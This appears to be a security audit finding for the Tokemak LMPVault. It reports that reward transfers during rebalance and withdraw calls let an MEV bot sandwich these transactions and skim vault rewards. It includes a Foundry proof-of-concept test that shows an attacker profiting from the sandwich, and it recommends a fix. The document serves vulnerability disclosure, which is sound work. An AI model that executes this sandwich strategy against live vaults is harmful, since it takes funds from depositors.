Formal Magenta Okapi

high

# Receiving the rewarder in LMPVault create opportunity for MEV Bots (sandwich attack)
## Summary

Receiving the rewarder in LMPVault create opportunity for MEV Bots (sandwich attack)

## Vulnerability Detail
EVM bot will detect `rebalance()`, `flashRebalance()` and `withdraw()` transactions in the mempool. Because all of them will transfer the reward from the DestinationVault (actually its mainRewarder contract) to the LMPVault, and this will update the value of `totalIdle`.
This update will create an opportunity to sandwich both the SOLVER and the users.

Check the POC.

## Impact
- Attaker could steal the reward from LMPVault by the sandwich attack.

## Code Snippet
Please copy the following POC in `LMPVault-Withdraw.t.sol`
```solidity
    function test_POC_04_Sandwich_Attack() public {
        address user_01 = vm.addr(101);
        address user_02 = vm.addr(102);
        address attacker = vm.addr(104);
        vm.label(user_01, "User_01");
        vm.label(user_02, "User_02");
        vm.label(attacker, "Attacker");
        _accessController.grantRole(Roles.SOLVER_ROLE, address(this));

        //User_01 `deposit()`
        vm.startPrank(user_01);
        _asset.mint(user_01, 500);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, user_01);
        vm.stopPrank();

        //User_02 `deposit()`
        vm.startPrank(user_02);
        _asset.mint(user_02, 500);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, user_02);
        vm.stopPrank();

        // Queue up some Destination Vault rewards
        _accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
        _accessController.grantRole(Roles.LIQUIDATOR_ROLE, address(this));
        _asset.mint(address(this), 2000);
        _asset.approve(_destVaultOne.rewarder(), 2000);
        IMainRewarder(_destVaultOne.rewarder()).queueNewRewards(2000);

        // At time of writing LMPVault always returned true for verifyRebalance
        // Rebalance 500 baseAsset for 250 underlyerOne+destVaultOne
        uint256 assetBalBefore = _asset.balanceOf(address(this));
        _underlyerOne.mint(address(this), 500);
        _underlyerOne.approve(address(_lmpVault), 500);
        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            250,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            500
        );
        uint256 assetBalAfter = _asset.balanceOf(address(this));

        // LMP Vault is correctly tracking 500 remaining in idle, 500 out as debt
        uint256 totalIdleAfterFirstRebalance = _lmpVault.totalIdle();
        uint256 totalDebtAfterFirstRebalance = _lmpVault.totalDebt();
        assertEq(totalIdleAfterFirstRebalance, 500, "totalIdleAfterFirstRebalance");
        assertEq(totalDebtAfterFirstRebalance, 500, "totalDebtAfterFirstRebalance");
        // The destination vault has the 250 underlying
        assertEq(_underlyerOne.balanceOf(address(_destVaultOne)), 250);
        // The lmp vault has the 250 of the destination
        assertEq(_destVaultOne.balanceOf(address(_lmpVault)), 250);
        // Ensure the solver got their funds
        assertEq(assetBalAfter - assetBalBefore, 500, "solverAssetBal");

        // Rebalance some of the baseAsset back
        // We want 137 of the base asset back from the destination vault
        // For 125 of the destination (bad deal but eh)
        uint256 balanceOfUnderlyerBefore = _underlyerOne.balanceOf(address(this));

        // Roll the block so that the rewards we queued earlier will become available
        vm.roll(block.number + 100);

        //Attacker start the Sandwich_Attack by front-running the `rebalance()`/`withdraw()`
        vm.startPrank(attacker);
        _asset.mint(attacker, 500);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, attacker);
        vm.stopPrank();

        // `rebalance()`
        _asset.mint(address(this), 137);
        _asset.approve(address(_lmpVault), 137);
        _lmpVault.rebalance(
            address(0), // none when sending in base asset
            address(_asset), // tokenIn
            137,
            address(_destVaultOne), // destinationOut
            address(_underlyerOne), // tokenOut
            125
        );

        uint256 balanceOfUnderlyerAfter = _underlyerOne.balanceOf(address(this));
        uint256 totalIdleAfterSecondRebalance = _lmpVault.totalIdle();
        uint256 totalDebtAfterSecondRebalance = _lmpVault.totalDebt();

        // Without the DV rewards, we should be at 637. Since we'll claim those rewards
        // as part of the rebalance, they'll get factored into idle
        assertEq(totalIdleAfterSecondRebalance, 837 + 500 , "totalIdleAfterSecondRebalance");//(500 + 500 (Attacker balance) + 137 + 200 (reward) = 837)
        assertEq(totalDebtAfterSecondRebalance, 250, "totalDebtAfterSecondRebalance");//(250 - 125 = 125 ==convert to ETH==> (125 * 2 = 250) ) bec _asset - 1:1 ETH and _underlyerOne - 1:2 ETH 
        assertEq(balanceOfUnderlyerAfter - balanceOfUnderlyerBefore, 125);

        //Attacker back-running by invoking `redeem()`
        vm.startPrank(attacker);
         _lmpVault.redeem(_lmpVault.balanceOf(attacker), attacker, attacker);
        vm.stopPrank();
        assertEq(_asset.balanceOf(attacker), 529);//Attacker profit is:  529 - 500 = 29
        //console.log("attacker Balance",_asset.balanceOf(attacker) );//Attacker Balance Is: 529

    }
```
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L485-L487

## Tool used

Manual Review - Foundry

## Recommendation

Track the reward with an independent state variable